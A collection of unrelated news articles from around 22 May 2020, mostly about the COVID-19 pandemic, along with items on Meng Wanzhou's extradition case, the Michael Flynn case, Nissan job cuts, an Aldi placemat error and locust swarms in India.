Asylum seekers, locals and politicians have called for the Skellig Star Hotel in Cahersiveen, which was recently turned into a direct provision centre, to be closed down.

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WATCH: Resident asks police if virus is real after clampdown on street party

A chief constable has issued a dont be an idiot warning ahead of the bank holiday weekend after his officers were forced to break up a 100-strong street party.

Footage of people gathering in Handsworth, Birmingham, on Wednesday night, with one reveller asking officers if Covid-19 was real, has been released by West Midlands Police.

15.15 22/05/2020

'Important milestone' - Hopes for coronavirus vaccine soar after success of first clinical trial

Hopes for a vaccine against the coronavirus soared today after the first clinical trial of a potential jab found it to be safe, well-tolerated, and able to generate an immune response against the infection.

The research, just published in the Lancet, revealed the findings after testing the vaccine on 108 healthy adults.

It demonstrated promising results after 28 daysthe final results will be evaluated in six months.

Further trials are needed to tell whether the immune response it elicits effectively protects against coronavirus.

Read More

13:00 22/05/2020

Over-65s account for 90pc of coronavirus deaths recorded in Ireland

Aine McMahon, PA

Those aged over 65 make up 90pc of Covid-19 related deaths, according to the latest figures from the Central Statistics Office (CSO).

The CSO published a detailed breakdown of Covid-19 deaths and cases in Ireland on Friday.

It found almost 92% of Covid-19 deaths were among the over 65s up to May 15.

This older age group also accounted for more than 26% of all confirmed cases of the virus.

Read More

12:10 22/05/2020

Coronavirus accelerates across Latin America, India and Russia

Lori Hinnant, Sheikh Saaliq and David Biller, Associated Press

The coronavirus pandemic has accelerated across Latin America, Russia and the Indian subcontinent even as curves flattened and reopening was under way in much of Europe, Asia and the US.

Many governments say they have to shift their focus to saving jobs that are vanishing as quickly as the virus can spread. In the US and China, the worlds two largest economies, unemployment is soaring.

The US Federal Reserve chairman has estimated that up to one American in four could be jobless, while in China analysts estimate around a third of the urban workforce is unemployed.

But the virus is roaring through countries ill-equipped to handle the pandemic, which many scientists fear will cause a second global wave.

Read More

10:30 22/05/2020

More than 100 very obese patients are hospitalised with coronavirus

Eilish O'Regan

Some 101 people classed as extremely obese have been hospitalised with coronavirus, 63 of whom had to be treated in intensive care, a new analysis reveals.

The report looked at the pre-existing conditions of 16,064 people who contracted the virus up to the middle of this month.

Overall, 230 of those diagnosed with the infection were reported to have a body mass index (BMI) over 40, which is classed as extremely obese.

Read More

9:20 22/05/2020

Some 54,000 face being stranded - as Dublin transport headache is laid bare

Caroline O'Doherty

Dublin is facing a major transport headache as Covid-19 restrictions are lifted over the coming months, unless many workers continue to stay at home.

City authorities are banking on a doubling of the numbers walking to work, and a tripling of cyclists to ease the problems associated with social distancing on public transport.

But even then, the city will only have transport solutions for 75pc of people who normally commute into or through the city centre, leaving around 54,000 people stranded.

Read More

8:25 22/05/2020

UK borrowing soars, retail sales plunge as Covid-19 hits economy

Independent.ie Business Desk

Britain's government borrowed more than it has done in any month on record in April, pushing up a measure of public debt to close to 100pc of economic output, and retail sales fell by a record 18pc as the coronavirus crisis hammered the economy.

April's borrowing at 62.1bn was six times higher than in the same month last year and March's figure was revised up sharply to nearly 15bn as the government's emergency job retention scheme kicked in.

Read More

7:15 22/05/2020

China boosts spending for virus-hit economy

Joe McDonald, Associated Press

Chinas top economic official on Friday promised higher spending to revive its pandemic-stricken economy and curb surging job losses but steered clear of launching a massive stimulus on the scale of the United States.

Premier Li Keqiang, in a speech to legislators, said Beijing would set no economic growth target, usually a closely watched feature of government plans, in order to focus on fighting the outbreak.

The battle against the virus has not yet come to an end, Mr Li warned.

Read More

7:10 22/05/2020

Nursing homes asked to take in patients without negative swab

Catherine Fegan and Cormac McQuinn

Nursing homes are being asked to accept patients from acute hospitals without a negative swab for coronavirus.

In the absence of a swab to show the hospital transfers have tested negative, the homes are being advised "wherever possible" to isolate the patients in a single room for two weeks.

In correspondence seen by the Irish Independent, a consultant in one Dublin Hospital told a colleague to inform nursing home operators that negative swabs are only required for "post-Covid patients".

Read More

07:00 22/05/2020

Public warned there is no protection if virus picks up speed as just 1pc of population may have been exposed

Eilish O'Regan

As few as 50,000 people - just 1pc of the population - may have been infected by the coronavirus, leaving the nation with low immunity and at risk of a second wave if rules are not followed.

The warning was issued yesterday by Prof Philip Nolan of Maynooth University who is leading a team tracking the spread of the virus in the Republic.

Another 12 deaths and 76 cases of the virus were announced yesterday, showing the spread of the infection is continuing to fall.
A crucial ruling in the extradition case against Huawei executive Meng Wanzhou that could see her set free will be issued by a Canadian judge next week, British Columbia's Supreme Court announced on Thursday.

The decision next Wednesday by Associate Chief Justice Heather Holmes will address whether the case against Meng satisfies the rule of double criminality, which requires that suspects in extradition cases be accused of something that would constitute a crime in Canada, as well as the requesting country.

Meng's arrest at Vancouver's airport on December 1, 2018, on the request of US authorities who want her to face trial in New York on fraud charges, was a pivotal moment in troubled China-US relations.

Beijing's relationship with Canada has also been sent to a new low with Canadians Michael Spavor and Michael Kovrig being arrested on spying charges that have been widely seen as retaliation for Meng's treatment.

If Holmes decides double criminality rules have not been satisfied, then Meng could be freed, although that could depend on whether the Canadian government lawyers representing the US decide to appeal. If Holmes says double criminality has been satisfied, the extradition case will continue, with Meng's lawyers arguing for her to be freed on other grounds.

The timing of the double criminality decision was announced in a memo to lawyers that outlined details for the release of the judgment to the media. Holmes's decision will be emailed to Meng's lawyers and those for Canada's attorney general at 9am on May 27.

But they are barred from sharing the decision with anyone, including Meng, Canadian authorities or the US Department of Justice, until 10am. At that time, the reasons would also be released to journalists chosen to take part in a one-hour media lock-up at the courthouse, during which they would be prevented from sharing or discussing the ruling outside the room.

Journalists will finally be allowed to publish the decision at 11am, when it will also be released on the court's website. At the same time, a court appearance by Meng is scheduled.

Story continues

Meng, Huawei's chief financial officer and the daughter of CEO Ren Zhengfei, is accused of defrauding HSBC bank by deceiving it about Huawei's business dealings in Iran, in violation of US sanctions on the country. She faces up to 30 years in prison if convicted.

Her lawyers say the fraud case is a "dressed up" attempt to prosecute Meng for breaking US sanctions, which is not a crime in Canada. But Canada's lawyers say the bank fraud charge satisfies double criminality.

Meng's case has been subjected to Covid-19 considerations, with the BC courts' normal operations having been suspended since March 19.

Thursday's memo said the number of reporters allowed to take part in the lock-up was being limited to 27 "in order to maintain sufficient physical distance between those in attendance consistent with public health restrictions".

Meng and lawyers took part in two hearings by telephone, on March 31 and April 27, in what government lawyer John Gibb-Carsley called "a unique case occurring in unique times".

Meng is living in a C$13.6 million (US$9.8 million) mansion, one of two homes she owns in Vancouver. She is free on C$10 million bail and is allowed to travel around most of Vancouver, but she must abide by a curfew, wear a GPS monitor on her ankle and not go near the city's airport.

Her extradition case is expected to continue until October or November, if Holmes lets the case proceed next week. But the appeal process means it could drag on for years.

This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright  2020 South China Morning Post Publishers Ltd. All rights reserved.

Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved.
Source: Xinhua| 2020-05-22 21:15:07|Editor: huaxia

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LILONGWE, May 22 (Xinhua) -- Malawi reported 10 more COVID-19 cases Friday, bringing the cumulative total of the pandemic to 82.

Jappie Mhango, minister of Health and Population, said the 10 cases include Tanzanian fuel tanker driver who entered Malawi recently to deliver fuel.

Malawi has recorded three deaths since the first cases were confirmed and 27 recoveries have been recorded, according to the minister.

The capital, Lilongwe, continues to lead with 30 cases followed by Blantyre city which has 24 cases.

Meanwhile, Secretary for Health, Dan Namalika, has warned that if there is time to stop the spread the pandemic, it is now before the situation gets out of hand.

"The capacity of our referral hospitals is just up to 1,000 beds each, so it's obvious that the pandemic would collapse our health system," he said. Enditem
A third member of an RFE/RL film crew working on a documentary in Belarus died after suffering critical injuries in a car crash earlier this month.

Relatives of Lyubou Zyamtsova told Current Time that she died in a Minsk hospital on May 22.

A well-known Belarusian documentary filmmaker, Zyamtsova, 28, did not regain consciousness after being hospitalized with multiple internal injuries and bone fractures from the May 14 crash.

Two other members of the film crew she was working with -- director Uladzimer Mikhaylouski, 33, and sound engineer Maksim Haurylenka, 26 -- died in the collision, which occurred outside the southeastern city of Homel.

RFE/RL President Jamie Fly said Zyamtsova's death "is a profound tragedy, for all of us at RFE/RL, for her family, and for Belarus."



"Her work shows a deeply human connection to the people of Belarus. She managed to convey this beautifully on film. We will mourn the loss of her voice, her spirit, and the hope that she brought to her audiences and everyone who knew her," he said.

The filmmakers were returning to Minsk from a video shoot in Homel, where they were gathering material for a program about volunteers assisting medical workers responding to the coronavirus epidemic.

Belarus's authoritarian leader, Alyaksandr Lukashenka, has downplayed the pandemic, even staging a parade on May 9 that drew thousands of people to central Minsk to mark the anniversary of the Nazi defeat in World War II.

The crew was shooting the documentary for Current Time, a 24/7 Russian-language digital and TV network led by RFE/RL, in cooperation with VOA.
The central government on Friday allowed certain categories of Overseas Citizen of India (OCI) cardholders, who are stranded abroad, to come to the country.

According to a Ministry of Home Affairs order, those allowed to travel to India include OCI cardholders who wish to come to the country on account of family emergencies.

Minor children born to Indian nationals abroad and holding OCI cards, couples where one spouse is an OCI cardholder and the other an Indian national and they have a permanent residence in India, and university students who are OCI cardholders (not legally minors) but whose parents are Indian citizens living in India are also allowed to visit the country.

The home ministry also made it clear that the travel restrictions imposed would not apply to any aircraft, ship, train or any other vehicle deployed for bringing back the above-mentioned categories of OCI cardholders who are stranded abroad due to the lockdown.

While initiating the evacuation of Indian nationals stranded abroad, the government had said on May 7 that the issue of permitting certain categories of OCI cardholders, who are stranded abroad, to visit India has been considered by it.

Meanwhile, in a separate order, the home ministry said the right of multiple entry life-long visa facility granted to the specified categories of OCI cardholders has been restored to facilitate their hassle-free travel to India.

The government is currently undertaking a special operation under the name of 'Vande Bharat Mission' to bring back stranded Indians from abroad.

A nationwide lockdown was first announced by Prime Minister Narendra Modi on March 24 for 21 days in a bid to combat the coronavirus pandemic.

It was first extended till May 3 and again till May 17. The lockdown has now been extended till May 31.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The Pennsylvania Department of Health reported 866 new coronavirus cases Friday, raising the statewide total to 66,258.

Across Pennsylvania, 4,984 fatalities have been tied to the coronavirus, including 115 newly reported deaths Friday. About two-thirds of the states coronavirus deaths have occurred in long-term care facilities, such as nursing homes. More than 14,000 residents of those facilities have contracted the virus.

The health department released new data Friday; the statistics reflect cases and deaths reported as of midnight.

The figures comes as Gov. Tom Wolf is expected to announce more counties will enter the yellow phase of the states plan to gradually reopen the state. Wolf also said he may announce the first counties to enter the green phase.

Wolf and Health Secretary Dr. Rachel Levine are slated to hold a news conference at 4 p.m. You can watch it on PennLive.

Earlier Friday, 12 counties entered the yellow phase: Adams, Beaver, Carbon, Columbia, Cumberland, Juniata, Mifflin, Perry, Susquehanna, Wyoming, Wayne and York.

The Wolf administration has yet to announce the metrics that would allow counties to move into the green phase. Health Secretary Dr. Rachel Levine said in a news conference Thursday the administration was still refining the benchmarks for moving into the green phase. Less than 30 minutes later, Wolf said in his own news conference some counties may be going green.

State officials have said the curve has flattened in Pennsylvania. In the last several days, the health departments daily reports have had fewer than 1,000 new cases. There are 312,743 patients who have tested negative, according to the health department.

Levine said Thursday the state is ramping up its testing. Levine and Wolf have said the state needs to do more testing and contact tracing by the fall, when health experts have said new spikes of the virus could emerge.

Nursing homes

The health department said 3,275 coronavirus deaths have occurred in long-term care facilities.

Across the state, 14,291 residents of those facilities have contracted the virus, along with 2,377 employees.

Cases have been found in 578 facilities in 44 counties, the health department said.

The Wolf administration also said it aims to do weekly testing in all the states nursing homes. Lawmakers and advocacy groups have urged the state to do more to protect the vulnerable residents of those facilities.

Reopening Pennsylvania

The Wolf administration has set three phases reflecting the reopening of the state: red, yellow and green. There are now 49 counties in Pennsylvania in the yellow phase, which allows more businesses to open their doors.

Counties in the red phase remain under a stay-at-home order until June 4, unless Wolf moves to ease restrictions earlier.

In the yellow phase, companies are able to open their doors but are encouraged to allow employees to work remotely. Retailers are opening but encouraged to offer curbside service. Restaurants and bars are still limited to takeout and delivery.

Even in yellow counties, gyms, theaters, casinos, nail salons and barber shops are closed. Gatherings of more than 25 people are prohibited.

Gov. Tom Wolf's red, yellow and green phases reopening Pennsylvania after coronavirus-related shutdowns in 2020. (Graphic via the governor's office.)

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Where are Pennsylvanias 66,258 coronavirus cases? May 22 map, county-by-county breakdown

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Its official: Pa. restaurants and taverns can sell cocktails to-go
LJUBLJANA, Slovenia - Thousands of Slovenians on bicycles staged a new protest Friday against the centre-right government, continuing weekly protests that started at the height of the new coronavirus outbreak.

The demonstrations started last month following reports of alleged political pressure in the procurement of protective gear during the pandemic.

Chanting thieves, protesters rode through central Ljubljana on their bicycles  a way of demonstrating chosen so that participants can maintain distancing.

Environmental groups have also joined the protest, voicing fear that the government plans to relax environmental protection rules.

An Alpine nation of 2 million people, Slovenia has declared an end to the new coronavirus epidemic.

Critics have accused right-wing Prime Minister Janez Jansa of seeking to exploit the crisis for political gain.
Every day, MySA.com compiles the latest headlines and helpful links on the COVID-19 pandemic in the San Antonio area.

Hoax assertion: Chairwoman of the Republican Party of Bexar County, Cynthia Brehm, told several supporters Friday that the coronavirus was a hoax perpetrated by the Democratic Party. Democrats quickly responded by issuing a statement that said Texas Republicans were downplaying the threat from the virus and had mismanaged the health crisis.

More coronavirus cases in S.A.: Metro Health reported 26 new cases of novel coronavirus Saturday, said Mayor Ron Nirenberg, bringing the total number in Bexar County to 2,418. No new deaths were reported Saturday; the death toll stood at 66.

Corrected stats: Texas included tens of thousands of antibody tests in its daily reports on COVID-19, skewing the recent picture of the outbreak and the states response as it scrambled to ramp up surveillance of the outbreak. Health experts advise against including the tests because they dont necessarily help define the current outbreak.

Coronavirus cases update: Forty-nine more San Antonio area residents have tested positive for novel coronavirus, Mayor Ron Nirenberg reported Thursday, increasing the countywide total to 2,371. There was one new death, increasing the total to 64. Nirenberg noted that testing has increased, which is driving up the number of positive cases.

The return of live music in S.A.: What would that look like? Not the way it did on March 7 at Sam's Burger Kitchen, that's for sure.

The Good Newsletter: A weekly dose of inspiring San Antonio stories, delivered to your inbox

How to help the hungry in San Antonio: Several food pantries have popped up around town, and heres how to donate to them.

Stipend planned for area unemployed: Bexar County and San Antonio officials are looking to put $450 per week into the hands of thousands of unemployed workers while they train for new, post-coronavirus careers.

COVID-19 Tracker: Interactive maps track coronavirus cases in San Antonio, Texas counties and the U.S.

THE GOOD NEWSLETTER: A weekly dose of inspiring San Antonio stories, delivered to your inbox
Virtual graduations are not the only option for high school seniors across Massachusetts, as the state released new guidelines.

Graduations held after July 19 can be held outside, the guidelines state.

High school graduations are an important ceremony in the lives of the graduate and their loved ones, the guidelines say. Ceremonies held beginning July 19 may take place outside under the following standards and assuming the public health data supports the continued opening of our state.

The standards include holding the ceremony in an unconfined outdoor space that can accommodate social distancing and the flow of air. Tents or other enclosed spaces are not permitted.

Those in attendance are limited to the graduates and their immediate family, with the standards suggesting that attendees have to be pre-registered and children under the age of five or older adults be discouraged from attending.

Unlike the traditional graduation, the state suggests keeping the ceremonies brief and there should be no hugging or hand shaking. Diplomas should also not be given directly to the graduate. Instead, the state suggests, placing the individual diploma on a table and have the graduate get it as they walk by.

Some schools have postponed their graduation in hopes of being able to do something, while other schools have gone ahead with more unique ceremonies for their students.

Still, some schools, like Boston and Worcester Public Schools are opting for virtual ceremonies, which has some parents and students upset.

Virtually, its just not the same. It really isnt. Its never going to be the same, said Burncoat High School senior Leslie Hernandez.

She started a petition asking the school to change its decision.

We deserve the chance to walk across the stage, the petition states. With a traditional graduation, the 12+ years that seniors have been working for will feel officially validated and worth it.

A student at Springfield Public Schools started a similar petition  and it worked.

Springfield Public Schools announced high schools will host in-person events with precautions in place for the coronavirus pandemic, adding that its up to each high school to make its own plans.

It became clear that many students felt a sense of disappointment about not having a chance to experience some semblance of a traditional graduation," Superintendent of Schools Daniel Warwick said.

Related Content:
Pa. has announced that nearly 40,000 people have recovered from the coronavirus.

Health Department Secretary Dr. Rachel Levine said Friday that 57 percent of the 66,258 confirmed coronavirus in the state are now marked as recovered. That equates to about 37,770 people.

How are recoveries defined?

It has been 30 days past the date of their first positive test or onset of symptoms, Levine said.

Levine did not say why 30 days was the timeframe being used, but Michigan uses the same timeline, and the Detroit Free Press recently explained why:

The monthlong period represents two 14-day incubation periods for the virus with a few extra days that allow any death certificates to reach the states reporting system, the Michigan Disease Surveillance System, or MDSS, said Lynn Sutfin, health department spokesperson.

It is unclear but expected that recovery information will now be a part of the states daily COVID-19 statistics update.

As for other positive signs related to Pennsylvanias coronavirus numbers, the Wolf administration noted in a press release that:

"The state has seen sustained reductions in hospitalizations. From May 8 when the first counties moved to yellow to yesterday, the number of COVID-19 patients hospitalized dropped by nearly one thousand  from 2,618 to 1,667.

"The number of COVID patients on ventilators shrank by about a third, from 505 to 347.

"New cases continue to decline: From May 8 to May 15, the state added 6,384 cases and from May 15 to 21, added 4,770.

"The current COVID-19 incidence rate in the state is 83.4 cases per 100,000 people. Two weeks ago, it was 113.6 per 100,000. Most other states are seeing their new case rate continue to increase or remain flat. Pennsylvania is one of just 19 states with new case-rate declines.

Finally, Pa. reported that, in addition to the number of total cases and recoveries as of 12:01 a.m. Friday, that there have also been 4,984 total deaths attributed to COVID-19.

More coronavirus coverage:
Five new national Patient Recruitment Centres at NHS hospitals will increase research capacity within the NHS

NHS patients will benefit from easier access to clinical research opportunities, following a 7 million government investment to launch five new regional Patient Recruitment Centres (PRCs) across England.

The five new centres are distributed across the country to provide opportunities for patients in regions across England who may not previously have been able to take part in cutting edge clinical studies.

During the ongoing coronavirus pandemic, the new centres will also increase opportunities for patients to access trials assessing the latest potential treatments against COVID-19; in addition to trials across all other healthcare specialties.

The centres will be managed by the National Institute for Health Research (NIHR) and run by NHS trusts. They will provide dedicated space, purpose-designed facilities and medical expertise to deliver clinical research within NHS hospital sites, with the aim of increasing the number of studies being run across England.

This forms part of the Government's Life Sciences Industrial Strategy and Life Sciences Sector Deal 2 which set out a series of measures to strengthen the UK environment for clinical research and enable growth within the sector, while ensuring the country is at the forefront of medical science and the development of innovative new treatments for years to come.

The centres will increase the NHS's capacity to deliver vital research for patients, while decreasing the time it takes to set-up late-phase commercial trials within the NHS - improving the UK's competitiveness in the global market and providing opportunities for patients to benefit from early access to innovation.

The five new Patient Recruitment Centres have now been selected and will be based within the following NHS trusts:

- Blackpool Teaching Hospitals NHS Foundation Trust - Bradford Teaching Hospitals NHS Foundation Trust - Royal Devon and Exeter NHS Foundation Trust - The Newcastle upon Tyne Hospitals NHS Foundation Trust - University Hospitals of Leicester NHS Trust

Dr William van't Hoff, Chief Executive of the NIHR Clinical Research Network, said:

"I am delighted to see funding awarded to these five centres across England. They will really increase opportunities for patients in the NHS to take part in research, will benefit the NHS and provide important investment to the country.

"The importance of clinical research has never been more evident than in the COVID-19 pandemic. The NIHR has been able to help fund and to support key research studies and trials into the basis, genetics, prognosis and, critically, to offer potential treatments, including the largest global clinical treatment trial in COVID-19. These centres now give us a further dimension and opportunity to offer large scale trials, for instance in treatments for COVID-19, and to help deliver those at pace and scale. Looking further, they will help us build on our position as a great country to support life-sciences research.

"The investment in these new centres will also significantly increase the NHS's capacity to deliver research - benefiting the UK economy by attracting more life science investment in the UK, while creating jobs and generating income and savings for the NHS trusts who will deliver them - a welcome boost for our country's health service."

###
IRISH troops who have been delayed in returning from peace-keeping duties in Lebanon due to the coronavirus crisis will be home by the end of June.

Defence Minister Paul Kehoe said that the soldiers will be brought home on June 21 and 29.

Mr Kehoe said that the United Nations has approved the plan for Irish soldier to come home.

The UN had orders that no peacekeepers would leave any mission until July 1 at the earliest due to the Covid-19 situation but countries were able to seek exemptions.

The Irish troops had been due to return to Ireland this month.

Mr Kehoe told South East Radio's Alan Corcoran that the United Nations today approved the government's request for an exemption.

He said that troops will be replaced on the UNIFIL mission.
Another ratings agency has put Australia's triple A credit rating on negative outlook, raising fears about the size of household and government debt as signs grow the federal budget deficit will approach $75 billion.

Fitch Ratings joined S&P Global in warning of the growing risks to the nation's credit rating, saying it expects Australian GDP to contract by 5 per cent this year before rebounding by 4.8 per cent in 2021.

The agency expects gross general government debt, currently at 41.9 per cent of GDP, to climb to 58.2 per cent of GDP or more than $1.1 trillion.

Borrowing plans by the nation's debt agency point to a budget deficit up to $75 billion amid concerns about Australia's triple A credit rating. Credit:Alamy

Total deficits run by federal and state governments are expected to reach 6.9 per cent of GDP, or $130 billion, this financial year before climbing to 9 per cent of GDP or $171 billion next year.
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Good morning. The University of California is dropping the SAT. China is cracking down on Hong Kong. And Joe Biden is considering Elizabeth Warren for V.P. despite their differences.

There is a long history of bad feelings between Joe Bidens inner circle and Elizabeth Warren.

She accused Biden of protecting banks rather than ordinary families during debates over bankruptcy legislation in the 1990s. Later, Obama administration officials regularly bad-mouthed Warren for criticizing their response to the financial crisis.

And yet Warren has emerged as a serious candidate to be Bidens vice president, as Adam Nagourney and Jonathan Martin explain.

To understand why, I think it helps to look at political history. As strange a pair as Biden and Warren might seem, they also might be the ticket that most closely matches successful previous tickets.

When pundits talk about the selection process, they often imagine that a vice-presidential nominee can excite voters from the same state or demographic group. But there is little evidence thats true.
Restrictions on Gatherings

The lockdown regulations that have been in place restricting movement in Gibraltar came to end at midnight Thursday 21st May.

As from Friday the rules no longer apply and the only restriction will be that gatherings will be restricted to 12 people, this legislation has been published by Regulation today.

Government have today also issued guidelines to assist the public understand how the Regulations will operate.
WASHINGTON - An appeals court Thursday ordered the judge in Michael Flynn's case to defend his actions after Flynn's attorneys asked that his conviction be dismissed immediately, as requested by the Justice Department.

A three-judge panel of the U.S. Court of Appeals for the District of Columbia Circuit took the unusual step of ordering U.S. District Judge Emmet Sullivan to answer within 10 days accusations from Flynn, President Donald Trump's former national security adviser. The court also invited the Justice Department to comment.

The order comes as legal scholars from across the political spectrum debated the case's implications for judicial independence and the Constitution's separation-of-powers design.

"This case does not involve a decision by the Executive Branch simply to 'drop' a prosecution," but a "virtually unprecedented decision" to dismiss a case after it has been won, wrote a group of about 20 legal experts, led by Harvard law professor Laurence Tribe, in a brief to be filed Friday.

Sullivan last week paused Flynn's case and invited outside groups and a retired federal judge to argue against the Justice Department's May 7 request to toss the former three-star general's conviction. Sullivan also asked the retired judge to examine whether Flynn may have committed perjury while pleading guilty to lying about his pre-inauguration contacts with Russia's ambassador.

Flynn's attorneys responded Tuesday by asking the District Circuit to intervene, accusing Sullivan of bias and overreaching into what they called prosecutors' exclusive authority to decide whether to drop a case.

Sullivan's orders "reveal his plan to continue the case indefinitely, rubbing salt in General Flynn's open wound from the Government's misconduct and threatening him with criminal contempt," Flynn lawyer Sidney Powell wrote. Conservative legal analysts and commentators have also weighed in on the controversy, saying the Justice Department should be allowed to undo Flynn's conviction without judicial interference.

"Under the American Constitution, the three separate branches are expected to clash with one another," Tim Lynch, former director of the Cato Institute's project on criminal justice, wrote recently for the Federalist Society. "Even still . . . judges must respect the prerogatives that fall within the constitutional boundaries of the executive branch. The prerogative to prosecute, or not prosecute, is one of those prerogatives."

But others disagreed.

Tribe said his group will request to file a friend-of-the-court brief, saying the circuit panel's order "makes it all the more urgent" and that the panel should deny Flynn's request because granting it would be "a remarkable abuse of judicial authority."

Requiring Sullivan to exonerate Flynn in the "public interest" as the government and Flynn request would make the court a "subordinate" of the Department of Justice and force it to be "complicit" in an "inexplicable about-face," they wrote. They argued the federal judiciary would be treated as "an agency located on the executive branch organization chart headed by the President."

Courts "do not simply do the bidding of the executive branch," but instead have independent judicial authority, especially after a case has been fully prosecuted, a guilty plea entered and a sentence recommended, the brief argued. It said, "The separation of powers protects this Court's authority to complete the resolution of this case, free from the interference of the Executive Branch."

Tribe's co-signers include constitutional law scholars, the former law school deans of Harvard, Yale and the University of Chicago, and the president of Columbia University. Republican signers include George Conway III, the conservative lawyer and husband of the president's White House counselor, Kellyanne Conway; Trevor Potter, former Federal Election Commission chairman; and Richard Painter, George W. Bush's former chief White House ethics lawyer.

The brief order Thursday from the District Circuit came from Judges Karen LeCraft Henderson, Robert Wilkins and Neomi Rao.

In response to the order Thursday, Powell said, "Obviously the court is taking the issue very seriously, as it should."

Federal judges generally cannot comment publicly on the merits of pending matters outside official proceedings. The Justice Department did not immediately respond to a request for comment.

Earlier this month, the Justice Department moved to toss out the guilty plea of the highest-ranking Trump adviser convicted in special counsel Robert S. Mueller III's Russia investigation. The department concluded that Flynn should never have been interviewed by the FBI and therefore his lies concealing his Russian contacts were immaterial to any crime.

Critics dispute the department's move, saying it distorted facts and appeared to serve the president's personal political interests by giving an aide impunity to lie to government investigators.

Flynn pleaded guilty to lying in an FBI interview on Jan. 24, 2017, to conceal conversations with Sergey Kislyak, Russia's ambassador at the time. The conversations involved talks before Trump took office about avoiding U.S. sanctions and other policies imposed late in President Barack Obama's administration after Russia interfered in the 2016 presidential election.

Sullivan set oral arguments for July 16.
Aldi has been forced to remove a popular item across its 500 Australian stores after a four-year-old spotted an 'awkward' mistake.

The German supermarket chain sold a times tables Learning Desk Mat with a major error in their May 20 Special Buys sale.

Melanie Kaye shared the mistake on Facebook and said she was 'disappointed' with the product she had bought from Aldi Dubbo for her 'number obsessed' son Oliver.

Aldi supermarkets have been forced to remove a popular children's times tables placemat (pictured) from their 500 Australian stores after a four-year-old spotted a printing error

Melanie Kaye said her son four-year-old son Oliver (pictured) noticed the placemat listed an incorrect answer in the twelve and five times tables columns

Ms Kaye told Daily Mail Australia: 'My son is obsessed with numbers, it's his biggest passion. Since going into isolation, he has really gotten into times tables.

'He was returning to preschool this week so we decided to grab him some special gifts.'

She said Oliver noticed the $3.99 placemat showed the 12 times tables incorrectly and listed '12 x 12 = 60' when it should equal 144.

It also intersected with the five times column and the correct answer should have read '12 x 5 = 60'.

Ms Kaye said Oliver 'was absolutely stoked' but 'kept repeating '12 x 12 is not 60'.

The mum explained: 'Oliver has Autism Spectrum Disorder, we had to get rid of the placemat unfortunately because it would have kept upsetting him.'

Ms Kaye said she returned the placemat to Aldi without any problems.

'I did return the placemat the following day, it wasn't an issue at all. The man that served me was chuckling at the error,' she said.

Ms Kaye shared the mistake on Aldi Mums Australia and wrote: 'Check your placemats guys. My number obsessed four-year-old (with autism) is upset that the times tables contain a big stuff up.'

Ms Kaye said she was able to return the placemat to Aldi (pictured) and receive a refund

Her picture of the unfortunate typo quickly gained the attention of other shoppers who praised Oliver for spotting the error.

One commenter wrote: 'Wow! Well done! Took me a while to find the mistake.'

Another shopper said: 'Oh no! Good pick-up little one.'

Others noted how the mistake could be 'triggering' for a child with autism.

A commenter said: 'Unfortunately when you have a kid with autism covering up an imperfection to fix it isn't a solution. They know it's there and it'll trigger them every time the see it cause it's just plain wrong.'

An Aldi spokesperson said the supermarket was in the process of removing the placemat from store shelves.

The spokesperson encouraged customers to return the product to their local store for a full refund.

'There are at least 144 reasons why this printing error on the Learning Desk Mat Special Buy is awkward,' the spokesperson said.

'We agree, that 12 x 12 does actually equal 144. We take every effort in ensuring our products are of the highest quality and apologise to kids learning their times tables (and their parents) for this oversight.'
The Nissan Motor Co. logos are seen outside a dealer in Noordwijk, Netherlands. Photo: Yuriko Nakao/Getty Images

Japanese carmaker Nissan (NSANY) is considering cutting up to 20,000 jobs across its global network, according to Kyodo News. Kyodo said on Friday that Nissan would make the bulk of the job cuts in Europe and developing markets.

The carmaker, which is part of the Renault-Nissan-Mitsubishi alliance, has seen sales and profits slump. Kyodo News said that Nissan is expected to announce the extensive job cuts as part of its new mid-term strategy.

Bloomberg reported last week that Nissan is planning to make $2.8bn (2.3bn) worth of cost cuts overall, as part of a three-year plan to turn the companys fortunes around.

READ MORE: Carmakers struggle with collapse in demand

Nissan had already announced in July 2019 that it would cut almost 12,400 staff, or 10% of its global workforce. Reuters reported that the companys plans to streamline its European business would focus on SUVs and commercial vehicles.

Bloombergs sources said that the Japanese carmaker will phase out the Datsun brand, and shutter one production line. It is shutting down plants in Spain and Indonesia as part of the cost cutting.

Even before the coronavirus pandemic shuttered plants and showrooms and devastated global sales, Nissan was struggling with the fallout from the drama with former group chairman Carlos Ghosn.

Ghosn had been arrested for alleged fraud by the Japanese authorities in 2018, and then he jumped bail at the end of 2019, and fled to his home country of Lebanon.

READ MORE: New car sales in the EU crashed by 76% in April

Ghosn attacked Nissans management and the Japanese legal system in a dramatic press conference in Beirut in January, saying that the company had plotted his ouster and comparing his arrest to Pearl Harbor.
Swarms of desert locusts have reached districts of Madhya Pradesh close to Rajasthan border, travelling thousands of kilometers from west Asia through Pakistan looking for food, a sight not seen in the central Indian state since 1993, officials said on Wednesday, as the state has asked farmers to spray chemicals and play loud music to shoo away the unusual guests.

The Madhya Pradesh agriculture department in consultation with the Locust Warning Organisation (LWO) has mobilised teams to drive away and kill these creatures as they settle on the trees in the night, officials said.

The swarms of locusts started arriving in Madhya Pradesh from Neemuch-Rajasthan border since Sunday. As many as 16 districts of Madhya Pradesh, mostly in the Malwa region, have been affected so far, officials said, adding that they may be heading to Maharashtra as they have already reached Dhar, not far from the western state.

Though Rabi season is over and there is no crop in the fields, the swarms have scared the vegetable growing farmers in Neemuch, Mandsaur, Ujjain, Dhar and other districts as they chase them away by beating drums, plates, tin cans etc.

..Whenever they spot trees, they settle over it and devour the vegetation. If there is any loss to vegetables farmers, they will get compensation from the revenue department as per the rules and procedure, said Ajit Kesari, principal secretary, department of farmer welfare and agriculture.

Explaining the modus operandi employed to get rid of the locusts, Kesari said that a team of government of India along with teams from the affected districts, were using water, noise and chemicals as weapons against the unwanted visitors.

The moment the locusts sit on trees, we either shoo them away with the help of noise or with water sprayed from fire tenders. Our second strategy is to spray a specific chemical over them around midnight, once they settle over trees. It kills some and the remaining fly. Then we repeat the process wherever they settle next, he said.

He added that the central government had released 51 lakh for the purchase of the chemical being used to fight the locust menace.

